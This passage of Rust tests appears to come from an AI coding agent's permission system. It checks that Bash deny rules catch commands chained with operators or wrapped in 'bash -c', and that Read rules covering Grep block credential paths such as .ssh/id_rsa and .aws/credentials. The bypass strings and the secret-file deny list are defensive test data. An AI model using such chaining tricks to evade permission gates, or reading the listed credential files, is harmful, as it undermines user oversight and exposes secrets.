assert!(matches(&access, &rule_for("npm install")));
|
||||
|
||||
let access = AccessKind::Bash("\t\t rm -rf".to_string());
|
||||
assert!(matches(&access, &rule_for("rm*")));
|
||||
}
|
||||
|
||||
// ── Deny bypass via shell operators ──────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn bash_deny_enforced_in_non_leading_command_position() {
|
||||
let policy = CompiledPolicy::new(PermissionConfig::new(vec![
|
||||
bash_rule(RuleAction::Allow, "*"),
|
||||
bash_rule(RuleAction::Deny, "id *"),
|
||||
bash_rule(RuleAction::Deny, "id"),
|
||||
]));
|
||||
// A denied command after an operator / wrapper / `bash -c` must be rejected.
|
||||
for cmd in [
|
||||
"echo SAFE && id > M.txt",
|
||||
"echo SAFE; id > M.txt",
|
||||
"echo SAFE | cat; id > M.txt",
|
||||
"timeout 5 id",
|
||||
"bash -c \"id > M.txt\"",
|
||||
"bash -c -x \"id > M.txt\"",
|
||||
"bash -c -- \"id > M.txt\"",
|
||||
] {
|
||||
assert!(
|
||||
matches!(
|
||||
policy.evaluate_bash_command_policy(cmd),
|
||||
Some(Decision::Reject(_))
|
||||
),
|
||||
"denied command in a non-leading position must be rejected: {cmd}"
|
||||
);
|
||||
}
|
||||
// Scripts that cannot be decomposed must fail closed (prompt), not allow.
|
||||
for cmd in ["OUT=$(id); echo \"$OUT\" > M.txt", "echo \"`id`\" > M.txt"] {
|
||||
assert!(
|
||||
matches!(
|
||||
policy.evaluate_bash_command_policy(cmd),
|
||||
Some(Decision::Ask)
|
||||
),
|
||||
"an undecomposable script must escalate, not fall through to allow: {cmd}"
|
||||
);
|
||||
}
|
||||
// A clean compound with no denied segment is not escalated.
|
||||
assert!(
|
||||
policy
|
||||
.evaluate_bash_command_policy("echo hi && ls")
|
||||
.is_none()
|
||||
);
|
||||
// With no Bash deny/ask rules the gate is inert.
|
||||
let no_restrictions = CompiledPolicy::new(PermissionConfig::new(vec![bash_rule(
|
||||
RuleAction::Allow,
|
||||
"*",
|
||||
)]));
|
||||
assert!(
|
||||
no_restrictions
|
||||
.evaluate_bash_command_policy("echo SAFE && id")
|
||||
.is_none()
|
||||
);
|
||||
}
|
||||
|
||||
// ── default action tests ──────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_rule_action_defaults_to_deny() {
|
||||
assert_eq!(RuleAction::default(), RuleAction::Deny);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_default_action_rule_denies_access() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::default(),
|
||||
tool: ToolFilter::Any,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
let result = evaluate_policy(&AccessKind::Bash("anything".into()), &policy);
|
||||
assert!(
|
||||
matches!(result, Some(Decision::Reject(_))),
|
||||
"Default RuleAction must deny access, not allow it"
|
||||
);
|
||||
}
|
||||
|
||||
// ── other tests from main ────────────────────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn mcp_tool_respects_deny_policy() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::Deny,
|
||||
tool: ToolFilter::Mcp,
|
||||
pattern: Some("evil_tool".into()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
let result = evaluate_policy(
|
||||
&AccessKind::MCPTool {
|
||||
name: "evil_tool".into(),
|
||||
input: serde_json::Value::Null,
|
||||
},
|
||||
&policy,
|
||||
);
|
||||
assert!(matches!(result, Some(Decision::Reject(_))));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_evaluate_policy_glob_edit_rule() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::Allow,
|
||||
tool: ToolFilter::Edit,
|
||||
pattern: Some("src/**/*.rs".into()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
assert!(matches!(
|
||||
evaluate_policy(&AccessKind::Edit("src/lib.rs".into()), &policy),
|
||||
Some(Decision::Allow)
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deny_web_search_does_not_block_read_bash_or_webfetch() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::Deny,
|
||||
tool: ToolFilter::WebSearch,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
assert!(matches!(
|
||||
evaluate_policy(&AccessKind::WebSearch("rust lang".into()), &policy),
|
||||
Some(Decision::Reject(_))
|
||||
));
|
||||
assert!(evaluate_policy(&AccessKind::Read(Some("src/lib.rs".into())), &policy).is_none());
|
||||
assert!(evaluate_policy(&AccessKind::Bash("ls".into()), &policy).is_none());
|
||||
assert!(evaluate_policy(&AccessKind::WebFetch("https://x.com".into()), &policy).is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn deny_web_fetch_still_blocks_only_webfetch() {
|
||||
let policy = PermissionConfig::new(vec![PermissionRule {
|
||||
action: RuleAction::Deny,
|
||||
tool: ToolFilter::WebFetch,
|
||||
pattern: None,
|
||||
pattern_mode: PatternMode::Glob,
|
||||
}]);
|
||||
assert!(matches!(
|
||||
evaluate_policy(&AccessKind::WebFetch("https://x.com".into()), &policy),
|
||||
Some(Decision::Reject(_))
|
||||
));
|
||||
assert!(evaluate_policy(&AccessKind::WebSearch("rust".into()), &policy).is_none());
|
||||
}
|
||||
|
||||
/// The Grep tool reads file contents, so managed `Read` rules must govern it:
|
||||
/// grepping a denied path is denied, an ask path prompts, and an unrestricted
|
||||
/// path is unaffected. A recursive grep (no concrete path) matches no path
|
||||
/// rule — tool-level glob excludes (not the policy) keep traversal safe.
|
||||
#[test]
|
||||
fn grep_tool_covered_by_read_rules() {
|
||||
let read_rule = |action: RuleAction, pattern: &str| PermissionRule {
|
||||
action,
|
||||
tool: ToolFilter::Read,
|
||||
pattern: Some(pattern.to_string()),
|
||||
pattern_mode: PatternMode::Glob,
|
||||
};
|
||||
let config = PermissionConfig::new(vec![
|
||||
read_rule(RuleAction::Deny, "**/.env"),
|
||||
read_rule(RuleAction::Deny, "**/*.pem"),
|
||||
read_rule(RuleAction::Deny, "**/.ssh/**"),
|
||||
read_rule(RuleAction::Deny, "**/.aws/**"),
|
||||
read_rule(RuleAction::Ask, "**/secrets/**"),
|
||||
]);
|
||||
let grep = |p: &str| AccessKind::Grep {
|
||||
path: Some(p.to_string()),
|
||||
glob: None,
|
||||
};
|
||||
for denied in [".env", "key.pem", ".ssh/id_rsa", ".aws/credentials"] {
|
||||
assert!(
|
||||
matches!(
|
||||
evaluate_policy(&grep(denied), &config),
|
||||
Some(Decision::Reject(_))
|
||||
),
|
||||
"grep on a Read-denied path must deny: {denied}"
|
||||
);
|
||||
}
|
||||
assert!(matches!(
|
||||
evaluate_policy(&grep("secrets/value.txt"), &config),
|
||||
Some(Decision::Ask)
|
||||
));
|
||||
assert!(evaluate_policy(&grep("src/main.rs"), &config).is_none());
|
||||
assert!(
|
||||
evaluate_policy(
|
||||
&AccessKind::Grep {
|
||||
path: None,
|
||||
glob: None,
|
||||
},
|
||||
&config,
|
||||
)
|
||||
.is_none()
|
||||
);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user